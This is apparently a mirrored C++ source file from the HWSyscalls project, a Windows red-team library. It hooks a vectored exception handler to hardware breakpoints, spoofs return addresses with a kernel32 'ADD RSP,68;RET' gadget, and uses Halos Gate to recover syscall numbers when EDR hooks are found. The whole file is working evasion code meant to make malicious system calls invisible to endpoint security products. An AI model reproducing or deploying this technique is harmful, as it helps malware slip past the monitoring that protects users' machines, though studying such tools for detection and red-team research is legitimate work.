mirror of
https://github.com/Dec0ne/HWSyscalls
synced 2026-06-08 10:52:05 +00:00
342 lines
13 KiB
C++
342 lines
13 KiB
C++
#include "HWSyscalls.h"
|
|
|
|
#pragma region GlobalVariables
|
|
|
|
PVOID exceptionHandlerHandle;
|
|
HANDLE myThread;
|
|
HANDLE hNtdll;
|
|
UINT64 ntFunctionAddress;
|
|
UINT64 k32FunctionAddress;
|
|
UINT64 retGadgetAddress;
|
|
UINT64 stackArgs[STACK_ARGS_LENGTH];
|
|
UINT64 callRegGadgetAddress;
|
|
UINT64 callRegGadgetAddressRet;
|
|
char callRegGadgetValue;
|
|
UINT64 regBackup;
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region BinaryPatternMatching
|
|
// @janoglezcampos, @idov31 - https://github.com/Idov31/Cronos/blob/master/src/Utils.c
|
|
|
|
BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask)
|
|
{
|
|
for (; *szMask; ++szMask, ++pData, ++bMask)
|
|
if (*szMask == 'x' && *pData != *bMask)
|
|
return FALSE;
|
|
return TRUE;
|
|
}
|
|
|
|
DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask)
|
|
{
|
|
for (DWORD i = 0; i < dwLen; i++)
|
|
if (MaskCompare((PBYTE)(dwAddress + i), bMask, szMask))
|
|
return (DWORD_PTR)(dwAddress + i);
|
|
|
|
return 0;
|
|
}
|
|
|
|
DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask)
|
|
{
|
|
DWORD_PTR dwAddress = 0;
|
|
PIMAGE_DOS_HEADER imageBase = (PIMAGE_DOS_HEADER)GetModuleHandleA(moduleName);
|
|
|
|
if (!imageBase)
|
|
return 0;
|
|
|
|
DWORD_PTR sectionOffset = (DWORD_PTR)imageBase + imageBase->e_lfanew + sizeof(IMAGE_NT_HEADERS);
|
|
|
|
if (!sectionOffset)
|
|
return 0;
|
|
|
|
PIMAGE_SECTION_HEADER textSection = (PIMAGE_SECTION_HEADER)(sectionOffset);
|
|
dwAddress = FindPattern((DWORD_PTR)imageBase + textSection->VirtualAddress, textSection->SizeOfRawData, bMask, szMask);
|
|
return dwAddress;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region PEBGetProcAddress
|
|
|
|
UINT64 GetModuleAddress(LPWSTR moduleName) {
|
|
PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET);
|
|
LIST_ENTRY* ModuleList = NULL;
|
|
|
|
if (!moduleName)
|
|
return 0;
|
|
|
|
for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink;
|
|
pListEntry != &peb->LoaderData->InMemoryOrderModuleList;
|
|
pListEntry = pListEntry->Flink) {
|
|
|
|
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
|
|
|
if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) {
|
|
return (UINT64)pEntry->DllBase;
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName) {
|
|
UINT64 functionAddress = 0;
|
|
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
|
|
|
|
// Checking that the image is valid PE file.
|
|
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
|
return 0;
|
|
}
|
|
|
|
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);
|
|
|
|
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
|
return functionAddress;
|
|
}
|
|
|
|
IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader;
|
|
|
|
if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) {
|
|
return functionAddress;
|
|
}
|
|
|
|
// Iterating the export directory.
|
|
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
DWORD* addresses = (DWORD*)(moduleBase + exportDirectory->AddressOfFunctions);
|
|
WORD* ordinals = (WORD*)(moduleBase + exportDirectory->AddressOfNameOrdinals);
|
|
DWORD* names = (DWORD*)(moduleBase + exportDirectory->AddressOfNames);
|
|
|
|
for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) {
|
|
if (_stricmp((char*)(moduleBase + names[j]), functionName) == 0) {
|
|
functionAddress = moduleBase + addresses[ordinals[j]];
|
|
break;
|
|
}
|
|
}
|
|
|
|
return functionAddress;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region HalosGate
|
|
|
|
DWORD64 FindSyscallNumber(DWORD64 functionAddress) {
|
|
// @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md
|
|
WORD syscallNumber = 0;
|
|
|
|
for (WORD idx = 1; idx <= 500; idx++) {
|
|
// check neighboring syscall down
|
|
if (*((PBYTE)functionAddress + idx * DOWN) == 0x4c
|
|
&& *((PBYTE)functionAddress + 1 + idx * DOWN) == 0x8b
|
|
&& *((PBYTE)functionAddress + 2 + idx * DOWN) == 0xd1
|
|
&& *((PBYTE)functionAddress + 3 + idx * DOWN) == 0xb8
|
|
&& *((PBYTE)functionAddress + 6 + idx * DOWN) == 0x00
|
|
&& *((PBYTE)functionAddress + 7 + idx * DOWN) == 0x00) {
|
|
BYTE high = *((PBYTE)functionAddress + 5 + idx * DOWN);
|
|
BYTE low = *((PBYTE)functionAddress + 4 + idx * DOWN);
|
|
|
|
syscallNumber = (high << 8) | low - idx;
|
|
DEBUG_PRINT("[+] Found SSN: 0x%X\n", syscallNumber);
|
|
break;
|
|
}
|
|
|
|
// check neighboring syscall up
|
|
if (*((PBYTE)functionAddress + idx * UP) == 0x4c
|
|
&& *((PBYTE)functionAddress + 1 + idx * UP) == 0x8b
|
|
&& *((PBYTE)functionAddress + 2 + idx * UP) == 0xd1
|
|
&& *((PBYTE)functionAddress + 3 + idx * UP) == 0xb8
|
|
&& *((PBYTE)functionAddress + 6 + idx * UP) == 0x00
|
|
&& *((PBYTE)functionAddress + 7 + idx * UP) == 0x00) {
|
|
BYTE high = *((PBYTE)functionAddress + 5 + idx * UP);
|
|
BYTE low = *((PBYTE)functionAddress + 4 + idx * UP);
|
|
|
|
syscallNumber = (high << 8) | low + idx;
|
|
DEBUG_PRINT("[+] Found SSN: 0x%X\n", syscallNumber);
|
|
break;
|
|
}
|
|
|
|
}
|
|
|
|
if (syscallNumber == 0)
|
|
DEBUG_PRINT("[-] Could not find SSN\n");
|
|
|
|
return syscallNumber;
|
|
}
|
|
|
|
DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) {
|
|
// @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md
|
|
DWORD64 syscallReturnAddress = 0;
|
|
|
|
for (WORD idx = 1; idx <= 32; idx++) {
|
|
if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) {
|
|
syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx);
|
|
DEBUG_PRINT("[+] Found \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (syscallReturnAddress == 0)
|
|
DEBUG_PRINT("[-] Could not find \"syscall;ret;\" opcode address\n");
|
|
|
|
return syscallReturnAddress;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
UINT64 PrepareSyscall(char* functionName) {
|
|
return ntFunctionAddress;
|
|
}
|
|
|
|
bool SetMainBreakpoint() {
|
|
// Dynamically find the GetThreadContext and SetThreadContext functions
|
|
GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "GetThreadContext");
|
|
SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "SetThreadContext");
|
|
|
|
DWORD old = 0;
|
|
|
|
CONTEXT ctx = { 0 };
|
|
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
|
|
// Get current thread context
|
|
pGetThreadContext(myThread, &ctx);
|
|
|
|
// Set hardware breakpoint on PrepareSyscall function
|
|
ctx.Dr0 = (UINT64)&PrepareSyscall;
|
|
ctx.Dr7 |= (1 << 0);
|
|
ctx.Dr7 &= ~(1 << 16);
|
|
ctx.Dr7 &= ~(1 << 17);
|
|
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
|
|
// Apply the modified context to the current thread
|
|
if (!pSetThreadContext(myThread, &ctx)) {
|
|
DEBUG_PRINT("[-] Could not set new thread context: 0x%X", GetLastError());
|
|
return false;
|
|
}
|
|
|
|
DEBUG_PRINT("[+] Main HWBP set successfully\n");
|
|
return true;
|
|
}
|
|
|
|
LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
|
|
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
|
|
if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) {
|
|
DEBUG_PRINT("\n===============HWSYSCALLS DEBUG===============");
|
|
DEBUG_PRINT("\n[+] PrepareSyscall Breakpoint Hit (%#llx)!\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
|
|
|
|
// Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function
|
|
ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx));
|
|
DEBUG_PRINT("[+] Found %s address: 0x%I64X\n", (const char*)(ExceptionInfo->ContextRecord->Rcx), ntFunctionAddress);
|
|
|
|
// Move breakpoint to the NTAPI function;
|
|
DEBUG_PRINT("[+] Moving breakpoint to %#llx\n", ntFunctionAddress);
|
|
ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress;
|
|
}
|
|
else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) {
|
|
DEBUG_PRINT("[+] NTAPI Function Breakpoint Hit (%#llx)!\n", (DWORD64)ExceptionInfo->ExceptionRecord->ExceptionAddress);
|
|
|
|
// Create a new stack to spoof the kernel32 function address
|
|
// The stack size will be 0x70 which is compatible with the RET_GADGET we found.
|
|
// sub rsp, 70
|
|
ExceptionInfo->ContextRecord->Rsp -= 0x70;
|
|
// mov rsp, REG_GADGET_ADDRESS
|
|
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress;
|
|
DEBUG_PRINT("[+] Created a new stack frame with RET_GADGET (%#llx) as the return address\n", retGadgetAddress);
|
|
|
|
// Copy the stack arguments from the original stack
|
|
for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++)
|
|
{
|
|
const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET;
|
|
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70);
|
|
}
|
|
DEBUG_PRINT("[+] Original stack arguments successfully copied over to the new stack\n");
|
|
|
|
DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip;
|
|
|
|
char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 };
|
|
if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) {
|
|
DEBUG_PRINT("[+] Function is not hooked\n");
|
|
DEBUG_PRINT("[+] Continuing with normal execution\n");
|
|
}
|
|
else {
|
|
DEBUG_PRINT("[+] Function is HOOKED!\n");
|
|
DEBUG_PRINT("[+] Looking for the SSN via Halos Gate\n");
|
|
|
|
WORD syscallNumber = FindSyscallNumber(pFunctionAddress);
|
|
|
|
if (syscallNumber == 0) {
|
|
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber);
|
|
|
|
if (syscallReturnAddress == 0) {
|
|
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
// mov r10, rcx
|
|
DEBUG_PRINT("[+] Moving RCX to R10 (mov r10, rcx)\n");
|
|
ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
|
|
//mov eax, SSN
|
|
DEBUG_PRINT("[+] Moving SSN to RAX (mov rax, 0x%X)\n", syscallNumber);
|
|
ExceptionInfo->ContextRecord->Rax = syscallNumber;
|
|
//Set RIP to syscall;ret; opcode address
|
|
DEBUG_PRINT("[+] Jumping to \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
|
|
ExceptionInfo->ContextRecord->Rip = syscallReturnAddress;
|
|
|
|
}
|
|
|
|
// Move breakpoint back to PrepareSyscall to catch the next invoke
|
|
DEBUG_PRINT("[+] Moving breakpoint back to PrepareSyscall to catch the next invoke\n");
|
|
ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall;
|
|
|
|
DEBUG_PRINT("==============================================\n\n");
|
|
|
|
}
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
bool FindRetGadget() {
|
|
// Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase
|
|
retGadgetAddress = FindInModule("KERNEL32.DLL", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
|
|
if (retGadgetAddress != 0) {
|
|
DEBUG_PRINT("[+] Found RET_GADGET in kernel32.dll: %#llx\n", retGadgetAddress);
|
|
return true;
|
|
}
|
|
else {
|
|
retGadgetAddress = FindInModule("kernelbase.dll", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
|
|
DEBUG_PRINT("[+] Found RET_GADGET in kernelbase.dll: %#llx\n", retGadgetAddress);
|
|
if (retGadgetAddress != 0) {
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
bool InitHWSyscalls() {
|
|
myThread = GetCurrentThread();
|
|
hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntdll.dll");
|
|
|
|
if (!FindRetGadget()) {
|
|
DEBUG_PRINT("[!] Could not find a suitable \"ADD RSP,68;RET\" gadget in kernel32 or kernelbase. InitHWSyscalls failed.");
|
|
return false;
|
|
}
|
|
|
|
// Register exception handler
|
|
exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);
|
|
|
|
if (!exceptionHandlerHandle) {
|
|
DEBUG_PRINT("[!] Could not register VEH: 0x%X\n", GetLastError());
|
|
return false;
|
|
}
|
|
|
|
return SetMainBreakpoint();
|
|
}
|
|
|
|
bool DeinitHWSyscalls() {
|
|
return RemoveVectoredExceptionHandler(exceptionHandlerHandle) != 0;
|
|
}
|